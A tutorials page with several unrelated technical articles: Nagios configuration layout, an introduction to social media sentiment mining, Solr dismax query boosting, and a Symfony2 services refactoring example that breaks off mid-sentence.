How-To Tutorials

(For more resources related to this topic, see here.) This article focuses on how to set up templates, groupings, and the naming structure. However, creating a robust monitoring system involves much more. In this article, we will learn the following: Setting up and maintaining the configuration files that can grow along with your IT monitoring system Configuring the dependencies for easier root cause analysis of IT problems Creating the templates for easier management of similar hosts and services Using the custom variables for easier customization of objects What flapping is and how it works Creating maintainable configurations Enormous effort is required to deploy, configure, and maintain a system that monitors your company's IT infrastructure. The configuration for several hundred machines can take months. The effort required will also depend upon the scope of hosts and services that should be tracked—the more precise the checks need to be, the more the time needed to set these up. If your company plans to monitor a wide range of hosts and services, you should consider setting up a machine dedicated to Nagios that will only take care of this single job. Even though a small Nagios installation consumes little resources, as it grows, Nagios will start using more resources. If you set it to run on the same machine as business-critical applications, it can lead to problems. Therefore, it is always best to set up a dedicated Nagios box, even if this is on a slower machine, right from the beginning. Very often, a good approach is to start with monitoring only critical parts of your network, such as routers and main servers. You can also start off with only making sure that essential services are working—DHCP, DNS, file sharing, and databases are good examples of what is critical. Of course, if your company does not use file servers or if databases are not critical to the production environment, you can skip these. The next step would be to set up parenting and start adopting more hosts. At some point, you will also need to start planning how to group hosts and services. In the beginning, the configuration might simply be definitions of people, hosts, and services. After several iterations of setting up more hosts and services to be monitored, you should get to a point where all of the things that are critical to the company's business are monitored. This should be an indication that the setting up of the Nagios configuration is complete. As the number of objects grows, you will need to group them. Contacts need to be defined as groups, because if your team consists of more than one to two people, they will likely rotate over time. So, it's better to maintain a group than change the people responsible for each host individually. Hosts and services should be grouped for many reasons. It makes viewing the status and infrastructure topology on the web interface much easier. Also, after you start defining escalations for your objects, it is much easier to manage these using groups. You should take some time to plan how group hosts and services should be set up. How will you use the groupings? For escalations? For viewing single host groups via the web interface? Learn how you can take advantage of this functionality, and then plan how you will approach the setup of your groups. If your network has common services, it is better to define them for particular groups and only once—such as the SSH server for all Linux servers and Telnet for all AIX (Advanced Interactive eXecutive) machines, which is an IBM operating system that is mainly used by IBM enterprise-level servers. It is possible to define a service only once, and tell Nagios to which hosts or host groups the service should be bound. By specifying that all Linux servers offer SSH, and all AIX servers offer telnet, it will automatically add such services to all of the machines in these groups. This is often more convenient than specifying services for each of the hosts separately. In such cases, you should either set up a new host group or use an existing one to keep track of the hosts that offer a particular service. Combined with keeping a list of host groups inside each host definition, this makes things much easier to manage—disabling a particular host also takes care of the corresponding service definitions. It is also worth mentioning that Nagios performs and schedules service checks in a much better way than it does host checks—the service checks are scheduled in a much better way. That is why it is recommended that you do not schedule host checks at all. You can set up a separate service for your hosts that will send a ping to them and report how many packets have returned and the approximate time taken for them to return. Nagios can be set up to schedule host checks only if one of the hosts is failing (that is, it is not responding to the pings). A host will be periodically checked until it recovers. In this way, problems with hosts will still be detected, but host checks will only be scheduled on demand. This will cause Nagios to perform much better than it would if regular checks of all hosts on your network are made. To disable regular host checks, simply don't specify the check interval for the hosts that you want checked only on demand. Configuring the file structure A very important issue is how to store all our configuration files. We can put every object definition in a single file, but this will not make it easy to manage. It is recommended to store different types of objects in separate folders. Assuming your Nagios configuration is in /etc/nagios, it is recommended that you create folders for all types of objects in the following manner: /etc/nagios/commands /etc/nagios/timeperiods /etc/nagios/contacts /etc/nagios/hosts /etc/nagios/services Of course, these files will need to be added to the nagios.cfg file. After having followed the instructions while installing Nagios 4, these directories should already be added to our main Nagios configuration file. It would also be worthwhile to use a version control mechanism such as Git (visit http://www.git-scm.com/), Hg (Mercurial, visit http://mercurial.selenic.com/) or SVN (Subversion, visit http://subversion.tigris.org/) to store your Nagios configuration. While this will add overhead to the process of applying configuration changes, it will also prevent someone from overwriting a file accidentally. It will also keep track of who changed which parts of the configuration, so you will always know whom to blame if things break down. You might consider writing a simple script that will perform an export from the source code repository into a temporary directory, verify that Nagios works fine by using the nagios -v command and only if that did not fail, we will copy the new configuration in place of the older one and restart Nagios. This will make deployment of configuration changes much easier, especially in cases where multiple people are managing it. As for naming the files themselves—for time periods, contacts, and commands, it is recommended that you keep single definitions per file, as in contacts/nagiosadmin.cfg. This greatly reduces naming collisions and also makes it much easier to find particular object definitions. Storing hosts and services might be done in a slightly different way—host definitions should go to the hosts subdirectory, and the file should be named the same as the hostname, for example, hosts/localhost.cfg. Services can be split into two different types and stored, depending on how they are defined and used. Services that are associated with more than one host should be stored in the services subdirectory. A good example is the SSH service, which is present on the majority of systems. In this case, it should go to services/ssh.cfg, and use host groups to associate it with the hosts that actually offer connection over this protocol. Services that are specific to a host should be handled differently. It's best to store them in the same file as the host definition. A good example might be checking the disk space on partitions that might be specific to a particular machine, such as checking the /oracle partition on a host that's dedicated to Oracle databases. For handling groups, it is recommended to create files called groups.cfg, and define all groups in it, without any members. Then, while defining a contact, host, or group, you can define to which groups it belongs by using the contactgroups, hostgroups, or servicegroups directives accordingly. This way, if you disable a particular object by deleting or commenting out its definition, the definition of the group itself will still work. If you plan on having a large number of both check command and notify command definitions, you may want to split this into two separate directories—checkcommands and notifycommands. You can also use a single commands subdirectory, prefix the file names, and store the files in a single directory, for example, commands/check_ssh.cfg and commands/notify_jabber.cfg.

(For more resources related to this topic, see here.) Social media mining using sentiment analysis People are highly opinionated. We hold opinions about everything from international politics to pizza delivery. Sentiment analysis, synonymously referred to as opinion mining, is the field of study that analyzes people's opinions, sentiments, evaluations, attitudes, and emotions through written language. Practically speaking, this field allows us to measure, and thus harness, opinions. Up until the last 40 years or so, opinion mining hardly existed. This is because opinions were elicited in surveys rather than in text documents, computers were not powerful enough to store or sort a large amount of information, and algorithms did not exist to extract opinion information from written language. The explosion of sentiment-laden content on the Internet, the increase in computing power, and advances in data mining techniques have turned social data mining into a thriving academic field and crucial commercial domain. Professor Richard Hamming famously pushes researchers to ask themselves, "What are the important problems in my field?" Researchers in the broad area of natural language processing (NLP) cannot help but list sentiment analysis as one such pressing problem. Sentiment analysis is not only a prominent and challenging research area, but also a powerful tool currently being employed in almost every business and social domain. This prominence is due, at least in part, to the centrality of opinions as both measures and causes of human behavior. This article is an introduction to social data mining. For us, social data refers to data generated by people or by their interactions. More specifically, social data for the purposes of this article will usually refer to data in text form produced by people for other people's consumption. Data mining is a set of tools and techniques used to describe and make inferences about data. We approach social data mining with a potent mix of applied statistics and social science theory. As for tools, we utilize and provide an introduction to the statistical programming language R. The article covers important topics and latest developments in the field of social data mining with many references and resources for continued learning. We hope it will be of interest to an audience with a wide array of substantive interests from fields such as marketing, sociology, politics, and sales. We have striven to make it accessible enough to be useful for beginners while simultaneously directing researchers and practitioners already active in the field towards resources for further learning. Code and additional material will be available online at http://socialmediaminingr.com as well as on the authors' GitHub account, https://github.com/SocialMediaMininginR. The state of communication The state of communication section describes the fundamentally altered modes of social communication fostered by the Internet. The interconnected, social, rapid, and public exchange of information detailed here underlies the power of social data mining. Now more than ever before, information can go viral, a phrase first cited as early as 2004. By changing the manner in which we connect with each other, the Internet changed the way we interact—communication is now bi-directional and many-to-many. Networks are now self-organized, and information travels along every dimension, varying systematically depending on direction and purpose. This new economy with ideas as currency has impacted nearly every person. More than ever, people rely on context and information before making decisions or purchases, and by extension, more and more on peer effects and interactions rather than centralized sources. The traditional modes of communication are represented mainly by radio and television, which are isotropic and one-to-many. It took 38 years for radio broadcasters and 13 years for television to reach an audience of 50 million, but the Internet did it in just four years (Gallup). Not only has the nature of communication changed, but also its scale. There were 50 pages on the World Wide Web (WWW) in 1993. Today, the full impact and scope of the WWW is difficult to measure, but we can get a rough sense of its size: the Indexed Web contains at least 1.7 billion pages as of February 2014 (World Wide Web size). The WWW is the largest, most widely used source of information, with nearly 2.4 billion users (Wikipedia). 70 percent of these users use it daily to both contribute and receive information in order to learn about the world around them and to influence that same world—constantly organizing information around pieces that reflect their desires. In today's connected world, many of us are members of at least one, if not more, social networking service. The influence and reach of social media enterprises such as Facebook is staggering. Facebook has 1.11 billion monthly active users and 751 million monthly active users of their mobile products (Facebook key facts). Twitter has more than 200 million (Twitter blog) active users. As communication tools, they offer a global reach to huge multinational audiences, delivering messages almost instantaneously. Connectedness and social media have altered the way we organize our communications. Today we have dramatically more friends and more friends of friends, and we can communicate with these higher order connections faster and more frequently than ever before. It is difficult to ignore the abundance of mimicry (that is, copying or reposting) and repeated social interactions in our social networks. This mimicry is a result of virtual social interactions organized into reaffirming or oppositional feedback loops. We self-organize these interactions via (often preferential) attachments that form organic, shifting networks. There is little question of whether or not social media has already impacted your life and changed the manner in which you communicate. Our beliefs and perceptions of reality, as well as the choices we make, are largely conditioned by our neighbors in virtual and physical networks. When we need to make a decision, we seek out for opinions of others—more and more of those opinions are provided by virtual networks. Information bounce is the resonance of content within and between social networks often powered by social media such as customer reviews, forums, blogs, microblogs, and other user-generated content. This notion represents a significant change when compared to how information has traveled throughout history; individuals no longer need to exclusively rely on close ties within their physical social networks. Social media has both made our close ties closer and the number of weak ties exponentially greater. Beyond our denser and larger social networks is a general eagerness to incorporate information from other networks with similar interests and desires. The increased access to networks of various types has, in fact, conditioned us to seek even more information; after all, ignoring available information would constitute irrational behavior. These fundamental changes to the nature and scope of communication are crucial due to the importance of ideas in today's economic and social interactions. Today, and in the future, ideas will be of central importance, especially those ideas that bounce and go viral. Ideas that go viral are those that resonate and spur on social movements, which may have political and social purposes or reshape businesses and allow companies such as Nike and Apple to produce outsized returns on capital. This article introduces readers to the tools necessary to measure ideas and opinions derived from social data at scale. Along the way, we'll describe strategies for dealing with Big Data. What is Big Data? People create 2.5 quintillion bytes (2.5 * 1018) of data, or nearly 2.3 million Terabytes of data every day, so much that 90 percent of the data in the world today has been created in the last two years alone. Furthermore, rather than being a large collection of disparate data, much of this data flow consists of data on similar things, generating huge data-sets with billions upon billions of observations. Big Data refers not only to the deluge of data being generated, but also to the astronomical size of data-sets themselves. Both factors create challenges and opportunities for data scientists. This data comes from everywhere: physical sensors used to gather information, human sensors such as the social web, transaction records, and cell phone GPS signals to name a few. This data is not only big but is growing at an increasing rate. The data used in this article, namely, Twitter data, is no exception. Twitter was launched in March 21, 2006, and it took 3 years, 2 months, and 1 day to reach 1 billion tweets. Twitter users now send 1 billion tweets every 2.5 days. The size and scope of Big Data helps us overcome some of the hurdles caused by its low density. For instance, even though each unique piece of social data may have little applicability to our particular task, these small bits of information quickly become useful as we aggregate them across thousands or millions of people. Like the proverbial bundle of sticks—none of which could support inferences alone—when tied together, these small bits of information can be a powerful tool for understanding the opinions of the online populace. The sheer scope of Big Data has other benefits as well. The size and coverage of many social data-sets creates coverage overlaps in time, space, and topic. This allows analysts to cross-refer socially generated sets against one another or against small-scale data-sets designed to examine niche questions. This type of cross-coverage can generate consilience (Osborne)—the principle that states evidence from independent, unrelated sources can converge to form strong conclusions. That is, when multiple sources of evidence are in agreement, the conclusion can be very strong even when none of the individual sources of evidence are very strong on their own. A crucial characteristic of socially generated data is that it is opinionated. This point underpins the usefulness of big social data for sentiment analysis, and is novel. For the first time in history, interested parties can put their fingers to the pulse of the masses because the masses are frequently opining about what is important to them. They opine with and for each other and anyone else who cares to listen. In sum, opinionated data is the great enabler of opinion-based research. Human sensors and honest signals Opinion data generated by humans in real time presents tremendous opportunities. However, big social data will only prove useful to the extent that it is valid. This section tackles the extent to which socially generated data can be used to accurately measure individual and/or group-level opinions head-on. One potential indicator of the validity of socially generated data is the extent of its consumption for factual content. Online media has expanded significantly over the past 20 years. For example, online news is displacing print and broadcast. More and more Americans distrust mainstream media, with a majority (60 percent) now having little to no faith in traditional media to report news fully, accurately, and fairly. Instead, people are increasingly turning to the Internet to research, connect, and share opinions and views. This was especially evident during the 2012 election where social media played a large role in information transmission (Gallup). Politics is not the only realm affected by social Big Data. People are increasingly relying on the opinions of others to inform about their consumption preferences. Let's have a look at this: 91 percent of people report having gone into a store because of an online experience 89 percent of consumers conduct research using search engines 62 percent of consumers end up making a purchase in a store after researching it online 72 percent of consumers trust online reviews as much as personal recommendations 78 percent of consumers say that posts made by companies on social media influence their purchases If individuals are willing to use social data as a touchstone for decision making in their own lives, perhaps this is prima facie evidence of its validity. Other Big Data thinkers point out that much of what people do online constitutes their genuine actions and intentions. The breadcrumbs left from when people execute online transactions, send messages, or spend time on web pages constitute what Alex Petland of MIT calls honest signals. These signals are honest insofar as they are actions taken by people with no subtext or secondary intent. Specifically, he writes the following: "Those breadcrumbs tell the story of your life. It tells what you've chosen to do. That's very different than what you put on Facebook. What you put on Facebook is what you would like to tell people, edited according to the standards of the day. Who you actually are is determined by where you spend time, and which things you buy." To paraphrase, Petland finds some web-based data to be valid measures of people's attitudes when that data is without subtext or secondary intent; what he calls data exhaust. In other words, actions are harder to fake than words. He cautions against taking people's online statements at face value, because they may be nothing more than cheap talk. Anthony Stefanidis of George Mason University also advocates for the use of social data mining. He favorably speaks about its reliability, noting that its size inherently creates a preponderance of evidence. This article takes neither the strong position of Pentland and honest signals nor Stefanidis and preponderance of evidence. Instead, we advocate a blended approach of curiosity and creativity as well as some healthy skepticism. Generally, we follow the attitude of Charles Handy (The Empty Raincoat, 1994), who described the steps to measurement during the Vietnam War as follows: "The first step is to measure whatever can be easily measured. This is OK as far as it goes. The second step is to disregard that which can't be easily measured or to give it an arbitrary quantitative value. This is artificial and misleading. The third step is to presume that what can't be measured easily really isn't important. This is blindness. The fourth step is to say that what can't be easily measured really doesn't exist. This is suicide." The social web may not consist of perfect data, but its value is tremendous if used properly and analyzed with care. 40 years ago, a social science study containing millions of observations was unheard of due to the time and cost associated with collecting that much information. The most successful efforts in social data mining will be by those who "measure (all) what is measurable, and make measurable (all) what is not so" (Rasinkinski, 2008). Ultimately, we feel that the size and scope of big social data, the fact that some of it is comprised of honest signals, and the fact that some of it can be validated with other data, lends it validity. In another sense, the "proof is in the pudding". Businesses, governments, and organizations are already using social media mining to good effect; thus, the data being mined must be at least moderately useful. Another defining characteristic of big social data is the speed with which it is generated, especially when considered against traditional media channels. Social media platforms such as Twitter, but also the web generally, spread news in near-instant bursts. From the perspective of social media mining, this speed may be a blessing or a curse. On the one hand, analysts can keep up with the very fast-moving trends and patterns, if necessary. On the other hand, fast-moving information is subject to mistakes or even abuse. Following the tragic bombings in Boston, Massachusetts (April 15, 2013), Twitter was instrumental in citizen reporting and provided insight into the events as they unfolded. Law enforcement asked for and received help from general public, facilitated by social media. For example, Reddit saw an overall peak in traffic when reports came in that the second suspect was captured. Google Analytics reports that there were about 272,000 users on the site with 85,000 in the news update thread alone. This was the only time in Reddit's history other than Obama AMA that a thread beat the front page in the ratings (Reddit). The downside of this fast-paced, highly visible public search is that masses can be incorrect. This is exactly what happened; users began to look at the details and photos posted and pieced together their own investigation—as it turned out, the information was incorrect. This was a charged event and created an atmosphere that ultimately undermined the good intentions of many. Other efforts such as those by governments (Wikipedia) and companies (Forbes) to post messages favorable to their position is less than well intentioned. Overall, we should be skeptical of tactical (that is, very real time) uses of social media. Summary In this article, we introduced readers to the concepts of social media, sentiment analysis, and Big Data. We described how social media has changed the nature of interpersonal communication and the opportunities it presents for analysts of social data. This article also made a case for the use of quantitative approaches to measure all that is measurable, and make the one which is not so measurable. Resources for Article: Further resources on this subject: Bitcoins – Pools and Mining [Article] Managing your social channels [Article] Social Media for Wordpress: VIP Memberships [Article]

(For more resources related to this topic, see here.) The dismax query parser Before we understand how to boost our search using the dismax query parser, we will learn what a dismax query parser is and the features that make it more demanding than the Lucene query parser. While using the Lucene query parser, a very vital problem was noticed. It restricts the query to be well formed, with certain syntax rules that have balanced quotes and parenthesis. The Lucene query parser is not sophisticated enough to understand that the end users might be laymen. Thus, these users might type anything for a query as they are unaware of such restrictions and are prone to end up with either an error or unexpected search results. To tackle such situations, the dismax query parser came into play. It has been named after Lucene's DisjunctionMaxQuery, which addresses the previously discussed issue along with incorporating a number of features that enhance search relevancy (that is, boosting or scoring). Now, let us do a comparative study of the features provided by the dismax query parser with those provided by the Lucene query parser. Here we go: Search is relevant to multiple fields that have different boost scores The query syntax is limited to the essentiality Auto-boosting of phrases out of the search query Convenient query boosting parameters, usually used with the function queries You can specify a cut-off count of words to match the query I believe you are aware of the q parameter, how the parser for user queries is set using the defType parameter, and the usage of qf, mm, and q.alt parameters. If not, I recommend that you refer to the Dismax query parser documentation at https://cwiki.apache.org/confluence/display/solr/The+DisMax+Query+Parser. Lucene DisjunctionMaxQuery Lucene DisjunctionMaxQuery provides the capability to search across multiple fields with different boosts. Let us consider the following example wherein the query string is mohan; we may configure dismax in such a way that it acts in a very similar way to DisjunctionMaxQuery. Our Boolean query looks as follows: fieldX:mohan^2.1 OR fieldY:mohan^1.4 OR fieldZ:mohan^0.3 Due to the difference in the scoring of the preceding query, we may infer that the query is not quite equivalent to what the dismax query actually does. As far as the dismax query is concerned, in such scenarios, (in case of Boolean queries) the final score is taken as the sum for each of the clauses, whereas DisjunctionMaxQuery considers the highest score as the final one. To understand this practically, let us calculate and compare the final scores in each of the following two behaviors: Fscore_dismax = 2.1 + 1.4 + 0.3 = 3.8 Fscore_disjunctionMaxQuery = 2.1 (the highest of the three) Based on the preceding calculation, we can infer that the score produced out of the dismax query parser is always greater than that of the DisjunctionMaxQuery query parser; hence, there is better search relevancy provided that we are searching for the same keyword in multiple fields. Now, we will look into another parameter, which is known as tie, that boosts the search relevance even further. The value of the tie parameter ranges from 0 to 1, 0 being the default value. Raising this value above 0 begins to favor the documents that match multiple search keywords over those that were boosted higher. Value of the tie parameter can go up to 1, which means that the score is very close to that of the Boolean query. Practically speaking, a smaller value such as 0.1 is the best as well as an effective choice we may have. Autophrase boosting Let us assume that a user searches for Surendra Mohan. Solr interprets this as two different search keywords, and depending on how the request handler has been configured, either both the terms or just one would be found in the document. There might be a case wherein one of the matching documents Surendra is the name of an organization and they have an employee named Mohan. It is quite obvious that Solr will find this document and it might probably be of interest to the user due to the fact that it contains both the terms the user typed. It is quite likely that the document field containing the keyword Surendra Mohan typed by the user represents a closer match to the document the user is actually looking for. However, in such scenarios, it is quite difficult to predict the relative score, though it contains the relevant documents the user was looking for. To tackle such situations and improve scoring, you might be tempted to quote the user's query automatically; however, this would omit the documents that don't have adjacent words. In such a scenario, dismax can add a phrased form of the user's query onto the entered query as an optional clause. It rewrites the query as follows: Surendra Mohan This query can be rewritten as follows: +(Surendra Mohan) "Surendra Mohan" The rewritten query depicts that the entered query is mandatory by using + and shows that we have added an optional phrase. So, a document that contains the phrase Surendra Mohan not only matches that clause in the rewritten query, but also matches each of the terms individually (that is, Surendra and Mohan). Thus, in totality, we have three clauses that Solr would love to play around with. Assume that there is another document where this phrase doesn't match, but it has both the terms available individually and scattered out in there. In this case, only two of the clauses would match. As par Lucene's scoring algorithm, the coordination factor for the first document (which matched the complete phrase) would be higher, assuming that all the other factors remain the same. Configuring autophrase boosting Let me inform you, autophrase boosting is not enabled by default. In order to avail this feature, you have to use the pf parameter (phrase fields), whose syntax is very much identical to that of the qf parameter. To play around with the pf value, it is recommended that you start with the same value as that of qf and then make the necessary adjustments. There are a few reasons why we should vary the pf value instead of qf. They are as follows: The pf value helps us to use varied boost factors so that the impact caused due to phrase boosting isn't overwhelming. In order to omit fields that are always a single termed, for example, identifier, due to the fact that in such a case there is no point in searching for phrases. To omit some of the fields having numerous text count in order to retain the search performance to a major extent. Substitute a field with the other having the same data, but are analyzed differently. You may use different text analysis techniques to achieve this, for example, Shingle or Common-grams. To learn more about text analysis techniques and their usage, I would recommend you to refer to http://wiki.apache.org/solr/AnalyzersTokenizersTokenFilters. Configuring the phrase slop Before we learn how to configure the phrase slop, let us understand what it actually is. Slop stands for term proximity, and is primarily used to factorize the distance between two or more terms to a relevant calculation. As discussed earlier in this section, if the two terms Surendra and Mohan are adjacent to each other in a document, that document will have a better score for the search keyword Surendra Mohan compared to the document that contains the terms Surendra and Mohan spread individually throughout the document. On the other hand, when used in conjunction with the OR operator, the relevancy of documents returned in the search results are likely to be improved. The following example shows the syntax of using slop, which is a phrase (in double quotes) followed by a tilde (~) and a number: "Surendra Mohan"~1 Dismax allows two parameters to be added so that slop can be automatically set; qs for any input phrase queries entered by the user and ps for phrase boosting. In case the slop is not specified, it means there is no slop and its value remains 0. The following is the sample configuration setting for slop : <str name="qs" >1</str> <str name="ps">0</str> Boosting a partial phrase You might come across a situation where you need to boost your search for consecutive word pairs or even triples out of a phrase query. To tackle such a situation, you need to use edismax, and this can be configured by setting pf2 and pf3 for word pairs and triples, respectively. The parameters pf2 and pf3 are de fi ned in a manner identical to that of the pf parameter. For instance, consider the following query: how who now cow This query becomes: +(how who now cow) "how who now cow" "how who" "who now" "now cow" "how who now" "who now cow" This feature is unaffected by the ps parameter due to the fact that it is only applicable to the entire phrase boost and has no impact on partial phrase boosting. Moreover, you may expect better relevancy for longer queries; however, the longer the query, the slower its execution. To handle this situation and make the longer queries execute faster, you need to explore and use text analysis techniques such as Shingle or Common-grams. Boost queries Apart from the other boosting techniques we discussed earlier, boost queries are another technique that impact the score of the document to a major extent. Implementing boost queries involves specifying multiple additional queries using the bq parameter or a set of parameters of the dismax query parser. Just like the autophrase boost, this parameter(s) gets added to the user's query in a very similar fashion. Let us not forget that boosting only impacts the scores of the documents that already matched the user's query in the q parameter. So, to achieve a higher score for a document, we need to make sure the document matches a bq query. To understand boost queries better and learn how to work with them, let us consider a realistic example of a music composition and a commerce product. We will primarily be concerned about the music type and the composer's fields with the field names wm_type and wm_composer, respectively. The wm_type field holds the Orchestral, Chamber, and Vocal values along with others and the wm_composer field holds the values Mohan, Webber, and so on. We don't wish to arrange the search results based on these parameters, due to the fact that we are targeting to implement the natural scoring algorithm so that the user's query can be considered relevant; on the other hand, we want the score to be impacted based on these parameters. For instance, let us assume that the music type chamber is the most relevant one, whereas vocal is the least relevant. Moreover, we assume that the composer Mohan is more relevant than Webber or others. Now, let us see how we can express this using the following boost query: <str name="bq">wm_type:Chamber^2 (*:* -wm_type:Vocal)^2 wm_ composer:Mohan^2</str> Based on the search results for any keyword entered by the user (for instance, Opera Simmy), we can infer that our boost query did its job successfully by breaking a tie score, wherein the music type and composer names are the same with varied attributes. In practical scenarios, to achieve a better and desired relevancy boost, boosting on each of the keywords (in our case, three keywords) can be tweaked by examining the debugQuery output minutely. In the preceding boost query, you must have noticed (*:* -wm_type:Vocal)^2, which actually boosts all the documents except the vocal music type. You might think of using wm_type:Vocal^0.5 instead, but let us understand that it would still add value to the score; hence, it wouldn't be able to serve our purpose. We have used *:* to instruct the parser that we would like to match all the documents. In case you don't want any document to match (that is, to achieve 0 results), simply use -*:* instead. Compared to function queries, boost queries are not much effective, primarily due to the fact that edismax supports multiplied boost, which is obviously demanding compared to addition. You might think of a painful situation wherein you want an equivalent boost for both the Chamber wm_type and Mohan wm_composer types. To tackle such situations, you need to execute the query with debugQuery enabled so as to analyze the scores of each of the terms (which is going to be different). Then, you need to use disproportionate boosts so that when multiplied by their score (resultant scores from debugQuery) ends up with the same value. Summary This article briefly described scoring and function queries. It also gave an idea about the Lucene's DisjunctionMaxQuery. Resources for Article: Further resources on this subject: Getting Started with Apache Solr [Article] Apache Solr: Analyzing your Text Data [Article] Apache Solr: Spellchecker, Statistics, and Grouping Mechanism [Article]

(For more resources related to this topic, see here.) Services A service is just a specific instance of a given class. For example, whenever you access doctrine such as $this->get('doctrine'); in a controller, it implies that you are accessing a service. This service is an instance of the Doctrine EntityManager class, but you never have to create this instance yourself. The code needed to create this entity manager is actually not that simple since it requires a connection to the database, some other configurations, and so on. Without this service already being defined, you would have to create this instance in your own code. Maybe you will have to repeat this initialization in each controller, thus making your application messier and harder to maintain. Some of the default services present in Symfony2 are as follows: The annotation reader Assetic—the asset management library The event dispatcher The form widgets and form factory The Symfony2 Kernel and HttpKernel Monolog—the logging library The router Twig—the templating engine It is very easy to create new services because of the Symfony2 framework. If we have a controller that has started to become quite messy with long code, a good way to refactor it and make it simpler will be to move some of the code to services. We have described all these services starting with "the" and a singular noun. This is because most of the time, services will be singleton objects where a single instance is needed. A geolocation service In this example, we imagine an application for listing events, which we will call "meetups". The controller makes it so that we can first retrieve the current user's IP address, use it as basic information to retrieve the user's location, and only display meetups within 50 kms of distance to the user's current location. Currently, the code is all set up in the controller. As it is, the controller is not actually that long yet, it has a single method and the whole class is around 50 lines of code. However, when you start to add more code, to only list the type of meetups that are the user's favorites or the ones they attended the most. When you want to mix that information and have complex calculations as to which meetups might be the most relevant to this specific user, the code could easily grow out of control! There are many ways to refactor this simple example. The geocoding logic can just be put in a separate method for now, and this will be a good step, but let's plan for the future and move some of the logic to the services where it belongs. Our current code is as follows: use GeocoderHttpAdapterCurlHttpAdapter; use GeocoderGeocoder; use GeocoderProviderFreeGeoIpProvider; public function indexAction()   { Initialize our geocoding tools (based on the excellent geocoding library at http://geocoder-php.org/) using the following code: $adapter = new CurlHttpAdapter(); $geocoder = new Geocoder(); $geocoder->registerProviders(array( new FreeGeoIpProvider($adapter), )); Retrieve our user's IP address using the following code: $ip = $this->get('request')->getClientIp(); // Or use a default one     if ($ip == '127.0.0.1') {   $ip = '114.247.144.250'; } Get the coordinates and adapt them using the following code so that they are roughly a square of 50 kms on each side: $result = $geocoder->geocode($ip); $lat = $result->getLatitude(); $long = $result->getLongitude(); $lat_max = $lat + 0.25; // (Roughly 25km) $lat_min = $lat - 0.25; $long_max = $long + 0.3; // (Roughly 25km) $long_min = $long - 0.3; Create a query based on all this information using the following code: $em = $this->getDoctrine()->getManager(); $qb = $em->createQueryBuilder(); $qb->select('e')     ->from('KhepinBookBundle:Meetup, 'e')     ->where('e.latitude < :lat_max')     ->andWhere('e.latitude > :lat_min')     ->andWhere('e.longitude < :long_max')     ->andWhere('e.longitude > :long_min')     ->setParameters([       'lat_max' => $lat_max,       'lat_min' => $lat_min,       'long_max' => $long_max,       'long_min' => $long_min     ]); Retrieve the results and pass them to the template using the following code: $meetups = $qb->getQuery()->execute(); return ['ip' => $ip, 'result' => $result, 'meetups' => $meetups]; } The first thing we want to do is get rid of the geocoding initialization. It would be great to have all of this taken care of automatically and we would just access the geocoder with: $this->get('geocoder');. You can define your services directly in the config.yml file of Symfony under the services key, as follows: services:   geocoder:     class: GeocoderGeocoder That is it! We defined a service that can now be accessed in any of our controllers. Our code now looks as follows: // Create the geocoding class $adapter = new GeocoderHttpAdapterCurlHttpAdapter(); $geocoder = $this->get('geocoder'); $geocoder->registerProviders(array(     new GeocoderProviderFreeGeoIpProvider($adapter), )); Well, I can see you rolling your eyes, thinking that it is not really helping so far. That's because initializing the geocoder is a bit more complex than just using the new GeocoderGeocoder() code. It needs another class to be instantiated and then passed as a parameter to a method. The good news is that we can do all of this in our service definition by modifying it as follows: services:     # Defines the adapter class     geocoder_adapter:         class: GeocoderHttpAdapterCurlHttpAdapter         public: false     # Defines the provider class     geocoder_provider:         class: GeocoderProviderFreeGeoIpProvider         public: false         # The provider class is passed the adapter as an argument         arguments: [@geocoder_adapter]     geocoder:         class: GeocoderGeocoder         # We call a method on the geocoder after initialization to set up the         # right parameters         calls:             - [registerProviders, [[@geocoder_provider]]] It's a bit longer than this, but it is the code that we never have to write anywhere else ever again. A few things to notice are as follows: We actually defined three services, as our geocoder requires two other classes to be instantiated. We used @+service_name to pass a reference to a service as an argument to another service. We can do more than just defining new Class($argument); we can also call a method on the class after it is instantiated. It is even possible to set properties directly when they are declared as public. We marked the first two services as private. This means that they won't be accessible in our controllers. They can, however, be used by the Dependency Injection Container (DIC) to be injected into other services. Our code now looks as follows: // Retrieve current user's IP address $ip = $this->get('request')->getClientIp(); // Or use a default one if ($ip == '127.0.0.1') {     $ip = '114.247.144.250'; } // Find the user's coordinates $result = $this->get('geocoder')->geocode($ip); $lat = $result->getLatitude(); // ... Remaining code is unchanged Here, our controllers are extending the BaseController class, which has access to DIC since it implements the ContainerAware interface. All calls to $this->get('service_name') are proxied to the container that constructs (if needed) and returns the service. Let's go one step further and define our own class that will directly get the user's IP address and return an array of maximum and minimum longitude and latitudes. We will create the following class: namespace KhepinBookBundleGeo; use GeocoderGeocoder; use SymfonyComponentHttpFoundationRequest; class UserLocator {     protected $geocoder;     protected $user_ip;     public function__construct(Geocoder $geocoder, Request $request) {         $this->geocoder = $geocoder;         $this->user_ip = $request->getClientIp();         if ($this->user_ip == '127.0.0.1') {             $this->user_ip = '114.247.144.250';         }     }     public function getUserGeoBoundaries($precision = 0.3) {         // Find the user's coordinates         $result = $this->geocoder->geocode($this->user_ip);         $lat = $result->getLatitude();         $long = $result->getLongitude();         $lat_max = $lat + 0.25; // (Roughly 25km)         $lat_min = $lat - 0.25;         $long_max = $long + 0.3; // (Roughly 25km)         $long_min = $long - 0.3;         return ['lat_max' => $lat_max, 'lat_min' => $lat_min,            'long_max' => $long_max, 'long_min' => $long_min];     } } It takes our geocoder and request variables as arguments, and then does all the heavy work we were doing in the controller at the beginning of the article. Just as we did before, we will define this class as a service, as follows, so that it becomes very easy to access from within the controllers: # config.yml services:     #...     user_locator:        class: KhepinBookBundleGeoUserLocator        scope: request        arguments: [@geocoder, @request] Notice that we have defined the scope here. The DIC has two scopes by default: container and prototype, to which the framework also adds a third one named request. The following table shows their differences: Scope Differences Container All calls to $this->get('service_name') return the sameinstance of the service. Prototype Each call to $this->get('service_name') returns a new instance of the service. Request Each call to $this->get('service_name') returns the same instance of the service within a request. Symfony can have subrequests (such as including a controller in Twig). Now, the advantage is that the service knows everything it needs by itself, but it also becomes unusable in contexts where there are no requests. If we wanted to create a command that gets all users' last-connected IP address and sends them a newsletter of the meetups around them on the weekend, this design would prevent us from using the KhepinBookBundleGeoUserLocator class to do so. As we see, by default, the services are in the container scope, which means they will only be instantiated once and then reused, therefore implementing the singleton pattern. It is also important to note that the DIC does not create all the services immediately, but only on demand. If your code in a different controller never tries to access the user_locator service, then that service and all the other ones it depends on (geocoder, geocoder_provider, and geocoder_adapter) will never be created. Also, remember that the configuration from the config.yml is cached when on a production environment, so there is also little to no overhead in defining these services. Our controller looks a lot 